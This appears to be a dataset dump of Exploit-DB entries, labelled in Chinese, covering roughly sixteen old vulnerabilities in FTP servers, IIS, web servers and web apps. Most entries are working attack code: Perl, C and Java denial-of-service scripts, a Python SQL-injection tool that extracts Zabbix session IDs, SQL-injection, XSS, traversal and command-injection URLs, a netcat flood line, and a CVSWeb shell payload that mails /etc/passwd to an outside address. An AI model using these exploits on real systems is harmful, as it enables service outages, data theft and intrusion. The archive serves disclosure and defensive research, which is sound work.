QLWD/code_shield huggingface dataset:
标题: WFTPD 2.4.1RC11 - 'STAT'/'LIST' Denial of Service EDB-ID: 20100 CVE: 2000-0644 类型: DOS 平台: WINDOWS 发布日期: 2000-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1506/info

WFTPD versions prior to 2.4.1RC11 suffer from a number of vulnerabilities.

1) Issuing a STAT command while a LIST is in progress will cause the ftp server to crash.
2) If the REST command is used to write past the end of a file or to a non-existant file (with STOU, STOR, or APPE), the ftp server will crash.
3) If a transfer is in progress and a STAT command is issued, the full path and filename on the server is revealed.
4) If an MLST command is sent without first logging in with USER and PASS, the ftp server will crash.

#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC11 denial-of-service
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Sends STAT without waiting for LIST to finish, which will cause the server
# to crash.
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$user = "anonymous";
$pass = "p\@nda";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
print "done.\n";

# Issue a LIST command, then STAT. If the STAT arrives before the LISTing
# is finished, the server will crash.
print $socket "USER $user\nPASS $pass\nLIST\nSTAT\n";

# Wait a while, just to make sure the commands have arrived.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "\nConnection closed. Finished.\n" URL: https://www.exploit-db.com/exploits/20100
标题: Microsoft IIS 4.0/5.0 - Source Fragment Disclosure EDB-ID: 20089 CVE: 2000-0630 类型: REMOTE 平台: WINDOWS 发布日期: 2000-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/1488/info

Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be inaccessible. This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file. Appending this string causes the request to be handled by ISM.DLL, which then strips the +.htr string and may disclose part or all of the source of the .asp file specified in the request. There has been a report that source will be displayed up to the first '<%' encountered - '<%' and '%>' are server-side script delimiters. Pages which use the <script runat=server></script> delimiters instead will display the entire source, or up to any '<%' in the page. This vulnerability is a variant of a previously discovered vulnerability, BugTraq ID 1193.

http://victim/global.asa+.htr URL: https://www.exploit-db.com/exploits/20089
标题: Microsoft IIS 2.0/3.0/4.0/5.0/5.1 - Internal IP Address Disclosure EDB-ID: 20096 CVE: 2000-0649 类型: REMOTE 平台: WINDOWS 发布日期: 2000-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/1499/info

When a remote user attempts to access an area protected by basic authentication with no realm defined, while specifying HTTP 1.0, Microsoft IIS will return an Access Denied error message containing the internal IP address of the host. Even if IIS is behind a firewall or NAT, it will disclose the true internal IP address to the remote user.

The internal IP address may also be revealed through a HTTP request made with an empty host name. If a PROPFIND HTTP request is made, the message returned will include the IP address as part of the HREF header. The IP address may also be exposed through the WRITE or MKCOL methods, although they would not normally be exposed to the external network.

Eg.

telnet target 80
Trying target...
Connected to target.
Escape character is '^]'.
HEAD /directory HTTP/1.0[CRLF]
[CRLF]

HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="<Internal IP Address>"
Content-Length: 644
Content-Type: text/html URL: https://www.exploit-db.com/exploits/20096
标题: Computer Software Manufaktur Alibaba 2.0 - Piped Command EDB-ID: 20085 CVE: 2000-0626 类型: REMOTE 平台: CGI 发布日期: 2000-07-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/1485/info

Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine. 

http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt
http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir] URL: https://www.exploit-db.com/exploits/20085
标题: Microsoft Outlook 97/98/2000 / Outlook Express 4.0/5.0 - GMT Field Buffer Overflow (2) EDB-ID: 20079 CVE: 2000-0567 类型: REMOTE 平台: WINDOWS 发布日期: 2000-07-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/1481/info
 
All versions of Microsoft Outlook and Outlook Express are vulnerable to buffer overflow attacks where a remote user is capable of executing arbitrary code on an email recipient's system.
 
The problem lies in how Outlook and Outlook Express handles the parsing of the GMT section of the date field in the header of an email when downloading via POP3 or IMAP4. This process is handled by INETCOMM.DLL. Improper bounds checking exists on the token represented by GMT. Therefore, if a malicious user was to send a specially crafted email message containing an unusually long value in the GMT specification, the buffer would be overflowed making arbitrary code execution possible. Sending random data could cause the application to crash.
 
Eg:
 
Date: Tue, 18 July 2000 14:16:06 +1000<long string of characters>
 
This can also be achieved by encoding the specially formed GMT field as a MIME attachment in Outlook's MIME attached message format.
 
This lends itself to the possibility of a myriad of exploits, such as the execution of trojan horses, the spread of worms, gaining user level access on the target host, etc. automatically without the email recipient's consent to open an attachment or run an executable.
 
A user would only have to download an offending email in order to become susceptible to an attack.

Windows Console Version - 20079-2.exe
Windows Console Version Source - 20079-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20079-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20079-2.exe URL: https://www.exploit-db.com/exploits/20079
标题: Novell Netware 5.0 SP5/6.0 SP1 - SMDR.NLM Denial of Service EDB-ID: 20072 CVE: 2000-0669 类型: DOS 平台: NOVELL 发布日期: 2000-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1467/info

When Novell Netware is configured with IPX-Compatibility enabled, it is vulnerable to a denial of service attack by sending packets with random data to port 40193. Similar results are possible by sending fragmented packets. This has been observed on Novell Netware 5.0 service pack 5, other versions may be vulnerable. 

This behaviour has also been reported on Novell Netware 6.0 service pack 1. 

It should be noted that configuration of Netware with IPX is not supported and it is not advised for production servers.

Using the tool 'netcat':

# cat /dev/urandom | nc XXX.XXX.XXX.XXX 40193 URL: https://www.exploit-db.com/exploits/20072
标题: CVSWeb Developer CVSWeb 1.80 - Insecure Perl 'open' Code Execution EDB-ID: 20073 CVE: 2000-0670 类型: LOCAL 平台: UNIX 发布日期: 2000-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/1469/info

Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")

An attack looks something like this:

SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE

Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here]. URL: https://www.exploit-db.com/exploits/20073
标题: Zabbix 2.0.1 - Session Extractor EDB-ID: 20087 CVE: 2012-3435 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-24 漏洞利用脚本: #!/usr/bin/python

import re
import sys,urllib2,urllib

print "\n[*] Zabbix 2.0.1 Session Extractor 0day"
print "[*] http://www.offensive-security.com"
print "##################################\n"

''' 

The sessions found by this tool may allow you to access the scripts.php file.
Through this web interface, an administrator can define new malicious scripts. 
These scripts can then be called from the maps area, and executed with "zabbix" permissions.

Timeline:

17 Jul 2012: Vulnerabilty reported
17 Jul 2012: Reply received
18 Jul 2012: Issue opened: https://support.zabbix.com/browse/ZBX-5348
19 Jul 2012: Fixed for inclusion in version 2.0.2

'''

ip="172.16.164.150"

target = 'http://%s/zabbix/popup_bitem.php' % ip
url = 'http://%s/zabbix/scripts.php' % ip

def sendSql(num):
        global target
        payload="1)) union select 1,group_concat(sessionid) from sessions where userid='%s'#" % num
        payload="1 union select 1,1,1,1,1,group_concat(sessionid),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sessions where userid='%s'#" % num
        values = {'dstfrm':'1','itemid':payload }
        url = "%s?%s" % (target, urllib.urlencode(values))  
        req = urllib2.Request(url)                          
        response = urllib2.urlopen(req)                 
        data = response.read()                  
        return data

def normal(cookie):
 global url
        req = urllib2.Request(url)
        cook = "zbx_sessionid=%s" %cookie
        req.add_header('Cookie', cook)
        response = urllib2.urlopen(req)                 
        data = response.read()                  
        if re.search('ERROR: Session terminated, re-login, please',data) or re.search('You are not logged in',data) or re.search('ERROR: No Permissions',data):
                return "FAIL"
        else:
                return "SUCCESS"

sessions=[]

for m in range(1,2):
 print "[*] Searching sessions belonging to id %s" % m
        hola=sendSql(m)
        for l in re.findall(r"([a-fA-F\d]{32})", hola):
  if l not in sessions:
   sessions.append(l)
                 print "[*] Found sessionid %s - %s" % (l,normal(l)) URL: https://www.exploit-db.com/exploits/20087
标题: Computer Software Manufaktur Alibaba 2.0 - Denial of Service EDB-ID: 20080 CVE: 2000-0626 类型: DOS 平台: WINDOWS 发布日期: 2000-07-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1482/info

It is possible for a user to initiate a denial of service against Alibaba Web Server. Sending an unusually long GET request (> 8000 bytes) to the server will cause the service to stop responding. A restart of the server service is required in order to gain normal functionality.

/*

 Description: DoS against Alibaba 2.0 WebServer by wildcoyote
 Comments   : Based on advisorie by Prizm<Prizm@RESENTMENT.org>
 Platforms  : Alibaba runs on Win95/98/NT
 Flamez to  : wildcoyote@coders-pt.org

*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int 
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;
      
   he=gethostbyname(host);
   
   if (he==NULL) {
      perror("gethostbyname()");
      exit(-1); }
   
   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
    
   if (sock==-1) {
      perror("socket()");
      exit(-1); }
    
   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);

   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
      sock=-2; } 
    
   return sock;
}

void 
sends(int sock,char *buf) {
  write(sock,buf,strlen(buf));
}

void 
DoS(char *host, int port)
{
 int sock,i;
 char *buf;
 printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
 printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
 sock=openhost(host,port);
 if(sock<=0) {
     printf("- Could not connect -\n");
     printf("Exiting...\n\n");
     exit(-1);
 }
 else printf("Connected to %s (%d)\n",host,port);
 printf("Allocating memory for DoS\n");
 buf = (char *) malloc(8200); // it takes 8173 bytes, but i wave mem ;)
 strcpy(buf,"GET ");
 for(i=5;i<8198;i++) strcat(buf,"A");
 strcat(buf,"\n\n");
 printf("Oh k! Sending CRASH!\n");
 sends(sock,buf);
 close(sock);
 free(buf);
 printf("Crash sent! The host *probably* crashed :P\n");
 printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
}

main(int argc, char *argv[])
{
 int sock,i;
 if (argc<2) {
    printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
    printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
    printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
 }
 else if (argc==2) DoS(argv[1],80);
      else DoS(argv[1],atoi(argv[2]));
} URL: https://www.exploit-db.com/exploits/20080
标题: Texas Imperial Software WFTPD 2.4.1 - RNTO Denial of Service EDB-ID: 20069 CVE: 2000-0648 类型: DOS 平台: WINDOWS 发布日期: 2000-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1456/info

It is possible for a user to cause a denial of service against the WFtpd server. Requesting an RNTO command without using the RNFR command first will cause the server service to stop responding. A restart of the service is required to gain normal functionality.



#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC10 denial-of-service
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Issues an RNTO command without first using RNFR, causing WFTPD to crash.
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$user = "anonymous";
$pass = "p\@nda";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>$port) || die "failed.\n";
print "done.\n";

# Login and issue premature RNTO command.
print $socket "USER $user\nPASS $pass\nRNTO x\n";

# Wait a while, just to make sure the commands have arrived.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "\nConnection closed. Finished.\n" URL: https://www.exploit-db.com/exploits/20069
标题: DrPhibez and Nitro187 Guild FTPD 0.9.7 - File Existence Disclosure EDB-ID: 20065 CVE: 2000-0640 类型: REMOTE 平台: WINDOWS 发布日期: 2000-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1452/info

Guild Ftpd will not send files outside of the ftp root when they are specified by the ../ string in the path of the GET request. However due to the difference in the error messages it is able to determine if the file requested exists. The error message "Download failed" appears if the requested file exists and "Access denied" if it does not.

ftp> get ../filename
>PORT command successful.
>Opening ascii mode data connection for \../filename.
>Download failed. URL: https://www.exploit-db.com/exploits/20065
标题: alt-n WorldClient standard 2.1 - Directory Traversal EDB-ID: 20070 CVE: 2000-0660 类型: REMOTE 平台: WINDOWS 发布日期: 2000-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/1462/info

The HTTP interface for WorldClient 2.1 is vulnerable to a directory traversal. By requesting a URL composed of the filename and ..\ it is possible for a remote user to retrieve and dowload any file of known location.

Example: 
http://email.victim.com/..\..\..\winnt\repair\sam._ URL: https://www.exploit-db.com/exploits/20070
标题: SpiceWorks 5.3.75941 - Persistent Cross-Site Scripting / (Authenticated) SQL Injection EDB-ID: 20063 CVE: 2012-6658 2012-2956 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-07-23 漏洞利用脚本: Product: SpiceWorks
Version: 5.3.75941
Vendor Site: http://www.spiceworks.com/community/
Software Download Link: http://www.spiceworks.com/download/?utm_source=comm-secondary-link&utm_medium=website&utm_campaign=homepage
Installer Filename: Spiceworks.exe  MD5: 023bd361c0f9402dc07adbc5a72fe31d
Contact: http://www.spiceworks.com/contact/

Timeline:

04 Jun 2012: Vulnerability reported to CERT
08 Jun 2012: Response received from CERT with disclosure date of 20 Jul 2012
23 Jul 2012: Updated received from CERT: No response from vendor
23 Jul 2012: Public Disclosure

SQL Injection (Post-Authentication):

http://server/api_v2.json?queries[device][class]=Device&queries[device][select]=id,b_manufacturer,manufacturer,b_model,model,operating_system,device_type&queries[device][conditions]=id=14%29%20UNION%20SELECT%20NULL,%20NULL,%20NULL,%20email,%20NULL,%20NULL,%20password%20from%20users%20where%20id=1--

Stored XSS:

An attacker can configure their snmpd.conf file to contain malicious JavaScript as shown in the proof of concept below:

rocommunity public
com2sec local localhost public
view systemview included .1.3.6.1.2.1.1
view    systemview      included .1.3.6.1.2.1.25.1.1
view    systemview      included .1 80
syslocation <script>alert('location')</script>
syscontact <script>alert('contact')</script>
sysName dook<script>alert('name')</script> URL: https://www.exploit-db.com/exploits/20063
标题: Mirabilis ICQ 0.99/98.0 a/2000.0 A/99a - Remote Denial of Service EDB-ID: 20071 CVE: 2000-1078 类型: DOS 平台: CGI 发布日期: 2000-03-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1463/info

The guestbook CGI program in ICQ Web Front service for ICQ 2000a, 99b, and others allows remote attackers to cause a denial of service via a URL with a long name parameter.

/* ICQ Web Front DoS */

#include <sys/socket.h> 
#include <stdio.h> 
#include <netinet/in.h>
#include <netdb.h>

void main(int argc, char *argv[]) 
{ 
  int sock;
  struct in_addr addr; 
  struct sockaddr_in sin; 
  struct hostent *he; 
  unsigned long start; 
  unsigned long end; 
  unsigned long counter;  
  
  /* added extra ? to be on the safe side :) */
  char xploitstr1[50]="GET /?????????? HTTP/1.0 \n\n";
  
  
  printf("ICQ Web Front DoS - author: char0hlz/tPG\n");  
  printf("The Poor Gurus' Network [http://www.tpgn.net]\n");

  if (argc<2) 
  { 
    printf("usage: %s <hostname>\n", argv[0]); 
    exit(0); 
  } 
  if ((he=gethostbyname(argv[1])) == NULL) 
  { 
    herror("gethostbyname"); 
    exit(0); 
  }  
    start=inet_addr(argv[1]); 
    counter=ntohl(start); 
    sock=socket(AF_INET,SOCK_STREAM,0); 
    bcopy(he->h_addr,(char *)&sin.sin_addr, he->h_length); 
    sin.sin_family=AF_INET; 
    sin.sin_port=htons(80); 
    if (connect(sock,(struct sockaddr*)&sin,sizeof(sin))!=0) 
    { 
      perror("pr0blemz"); 
    } 
    send(sock,xploitstr1,strlen(xploitstr1),0);
    close(sock);
    
   printf("Done. Refresh the page to see if it worked.\n"); 
} URL: https://www.exploit-db.com/exploits/20071
标题: Sean MacGuire Big Brother 1.x - Directory Traversal EDB-ID: 20068 CVE: 2000-0638 类型: REMOTE 平台: CGI 发布日期: 2000-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1455/info

Versions 1.4H and prior of BB4 Big Brother are susceptible to a directory traversal vulnerability which would allow a remote user to view the contents of any directory or file on the system. Executing a GET request for:

http://target/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../directory

will display the contents of the specified directory. URL: https://www.exploit-db.com/exploits/20068
标题: CGI-World Poll It 2.0 - Internal Variable Override EDB-ID: 20059 CVE: 2000-0590 类型: REMOTE 平台: CGI 发布日期: 2000-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/1431/info

Poll It is a Perl CGI application used to create and maintain opinion polls on websites. The program relies on a number of internal variables. These variables can be overwritten by any remote user by specifying the new value as a variable in the GET request. This is due to the fact that Poll It overwrites variables to user-supplied values after it sets them to the internally-specified defaults.

This can lead to unauthorized file reads, as well as potentially other compromises. 

http: //target/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00 URL: https://www.exploit-db.com/exploits/20059
标题: Michael Lamont Savant Web Server 2.1/3.0 - Remote Buffer Overflow EDB-ID: 20066 CVE: 2000-0641 类型: REMOTE 平台: WINDOWS 发布日期: 2000-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1453/info

A buffer overflow exists in the Savant Web Server. It is possible to exploit this overflow by sending an unusually long GET request to the server.


/* The MDMA Crew's proof-of-concept code for the buffer overflow in Savant
 * Written by Wizdumb <wizdumb@leet.org || www.mdma.za.net/fk>
 *
 * The overflow occurs when the server recieves too many headers in the GET
 * request. The results of the attack look something like...
 *
 * SAVANT caused an invalid page fault
 * in module KERNEL32.DLL at 015f:bff87eb5.
 *
 * Registers:
 *
 * EAX=c00300ec CS=015f EIP=bff87eb5 EFLGS=00010212
 * EBX=0119ff90 SS=0167 ESP=0109ffc4 EBP=010a0030
 * ECX=010a01e4 DS=0167 ESI=8162f198 FS=20f7
 * EDX=bff76859 ES=0167 EDI=010a020c GS=0000
 *
 * Bytes at CS:EIP:
 * 53 56 57 8b 30 83 7d 10 01 8b 4e 38 89 4d f8 75
 *
 * Stack dump:
 *
 * Enjoy!
 * Andrew Lewis aka. Wizdumb [03/07/2000]
 */

import java.io.*;
import java.net.*;

class savantstack {

 public static void main(String[] args) throws IOException {
   
   if (args.length != 1) {
     System.out.println("Syntax: java savantstack [hostname/ip]");
     System.exit(1); }
   
   Socket soq = null;
   PrintWriter white = null;
   
   int i = 5000; // This should do fine :-)
   
   soq = new Socket(args[0], 80);
   white = new PrintWriter(soq.getOutputStream(), true);
   
   System.out.print("Showing " + args[0] + " the phj33r :P ...");
   white.print("GET /index.html HTTP/1.0");
   for (int x = 0; x < i; x++) white.println("A:A");
   white.println("\n");
   System.out.println("Done!");
   
   white.close();
   soq.close(); } } URL: https://www.exploit-db.com/exploits/20066